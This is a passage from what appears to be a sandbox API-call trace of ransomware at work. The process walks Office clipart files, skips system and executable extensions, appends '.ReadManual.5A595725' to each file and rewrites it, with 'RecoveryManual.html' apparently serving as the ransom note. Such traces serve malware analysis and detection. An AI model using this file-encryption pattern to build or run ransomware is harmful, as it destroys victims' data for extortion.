ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1 [0270.807] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02041_.WMF" | out: lpString1="NA02041_.WMF") returned="NA02041_.WMF" [0270.807] lstrcmpiW (lpString1="NA02041_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.807] StrStrIW (lpFirst="NA02041_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.807] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.807] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.807] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.807] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.807] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.807] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.807] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.808] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.808] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.808] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.808] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.808] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.808] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.808] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.808] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" [0270.808] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.ReadManual.5A595725" [0270.808] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.ReadManual.5A595725") returned 87 [0270.808] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39147659277) returned 1 [0270.808] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf")) returned 0x20 [0270.808] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.808] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2328) returned 1 [0270.808] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x918, lpName=0x0) returned 0x184 [0270.809] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.809] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.809] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.811] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.811] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x918) returned 0x2f0000 [0270.811] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.811] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39147998798) returned 1 [0270.811] CloseHandle (hObject=0x184) returned 1 [0270.811] SetSecurityInfo () returned 0x57 [0270.811] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.811] CloseHandle (hObject=0x194) returned 1 [0270.812] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1 [0270.812] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02066_.WMF" | out: lpString1="NA02066_.WMF") returned="NA02066_.WMF" [0270.812] lstrcmpiW (lpString1="NA02066_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.812] StrStrIW (lpFirst="NA02066_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.812] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.812] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.812] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" [0270.812] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.ReadManual.5A595725" [0270.812] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.ReadManual.5A595725") returned 87 [0270.812] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39148095122) returned 1 [0270.812] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf")) returned 0x20 [0270.813] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.813] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1084) returned 1 [0270.813] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43c, lpName=0x0) returned 0x184 [0270.813] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.814] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.814] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.816] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.816] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43c) returned 0x2f0000 [0270.816] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.816] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39148503285) returned 1 [0270.816] CloseHandle (hObject=0x184) returned 1 [0270.816] SetSecurityInfo () returned 0x57 [0270.816] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.816] CloseHandle (hObject=0x194) returned 1 [0270.817] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1 [0270.817] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02091_.WMF" | out: lpString1="NA02091_.WMF") returned="NA02091_.WMF" [0270.817] lstrcmpiW (lpString1="NA02091_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.817] StrStrIW (lpFirst="NA02091_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.817] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.817] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.817] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" [0270.817] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.ReadManual.5A595725" [0270.817] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.ReadManual.5A595725") returned 87 [0270.817] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39148602866) returned 1 [0270.817] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf")) returned 0x20 [0270.818] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.818] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1140) returned 1 [0270.818] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x474, lpName=0x0) returned 0x184 [0270.818] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.819] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.819] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.820] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.821] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x474) returned 0x2f0000 [0270.821] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.821] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39148947426) returned 1 [0270.821] CloseHandle (hObject=0x184) returned 1 [0270.821] SetSecurityInfo () returned 0x57 [0270.821] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.821] CloseHandle (hObject=0x194) returned 1 [0270.821] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1 [0270.821] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02092_.WMF" | out: lpString1="NA02092_.WMF") returned="NA02092_.WMF" [0270.821] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.821] StrStrIW (lpFirst="NA02092_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.821] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.821] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.822] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.822] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.822] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" [0270.822] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.ReadManual.5A595725" [0270.822] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.ReadManual.5A595725") returned 87 [0270.822] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39149063766) returned 1 [0270.822] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf")) returned 0x20 [0270.822] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.822] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1644) returned 1 [0270.823] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x66c, lpName=0x0) returned 0x184 [0270.823] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.823] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.823] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.825] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.825] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x66c) returned 0x2f0000 [0270.825] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.825] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39149392317) returned 1 [0270.825] CloseHandle (hObject=0x184) returned 1 [0270.825] SetSecurityInfo () returned 0x57 [0270.825] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.825] CloseHandle (hObject=0x194) returned 1 [0270.825] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1 [0270.825] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02093_.WMF" | out: lpString1="NA02093_.WMF") returned="NA02093_.WMF" [0270.826] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.826] StrStrIW (lpFirst="NA02093_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.826] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.826] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.826] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" [0270.826] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.ReadManual.5A595725" [0270.826] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.ReadManual.5A595725") returned 87 [0270.826] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39149488302) returned 1 [0270.826] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf")) returned 0x20 [0270.826] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.827] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=672) returned 1 [0270.827] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a0, lpName=0x0) returned 0x184 [0270.827] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.828] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.828] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.830] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.830] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a0) returned 0x2f0000 [0270.830] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.830] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39149879956) returned 1 [0270.830] CloseHandle (hObject=0x184) returned 1 [0270.830] SetSecurityInfo () returned 0x57 [0270.830] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.830] CloseHandle (hObject=0x194) returned 1 [0270.830] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1 [0270.830] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02124_.WMF" | out: lpString1="NA02124_.WMF") returned="NA02124_.WMF" [0270.830] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.830] StrStrIW (lpFirst="NA02124_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.830] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.831] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.831] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program 